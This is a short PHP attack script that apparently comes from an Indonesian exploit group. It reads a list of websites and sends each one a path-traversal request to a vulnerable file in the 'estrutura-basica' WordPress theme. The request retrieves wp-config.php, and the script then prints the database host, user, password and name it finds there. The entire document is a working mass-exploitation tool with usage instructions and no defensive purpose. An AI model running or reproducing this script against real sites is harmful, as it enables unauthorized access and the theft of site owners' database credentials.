WPLFI

<?php
/*
mail : [email protected]
How To Usage This Script
c:\root\php>php this.php list.txt
*/
 @error_reporting(0);
@set_time_limit(0);
print "
Thx To CodersLeet - IndoXploit
" ;


$g=@file_get_contents($argv[1]);
$ss=explode("\r\n",$g);
$open=fopen("result.html","a");


foreach ($ss as $links){
  $lofe="http://$links/wp-content/themes/estrutura-basica/scripts/download.php?arquivo=../../wp-config.php";
  $gg=@file_get_contents($lofe);
  if(preg_match("#<?php#",$gg)){
     echo "\n[+] $links ==> infected\n";

     preg_match ("#define\('DB_HOST', '(.*?)'\);#i", $gg, $f);
     echo "\t\t[!] DB_HOST : ". $f[1]. "\n";

        preg_match ("#define\('DB_USER', '(.*?)'\);#i", $gg, $f) ;
        echo "\t\t[!] DB_USER : ". $f[1]. "\n";

        preg_match ("#define\('DB_PASSWORD', '(.*?)'\);#i", $gg, $f)  ;
        echo "\t\t[!] DB_PASSWORD : ". $f[1]. "\n";

        preg_match ("#define\('DB_NAME', '(.*?)'\);#i", $gg, $f) ;
        echo "\t\t[!] DB_NAME : ". $f[1]. "\n";
  }else{
    echo "\n[+] $links ==> Not infected\n";
  }
}
fclose($open);
?>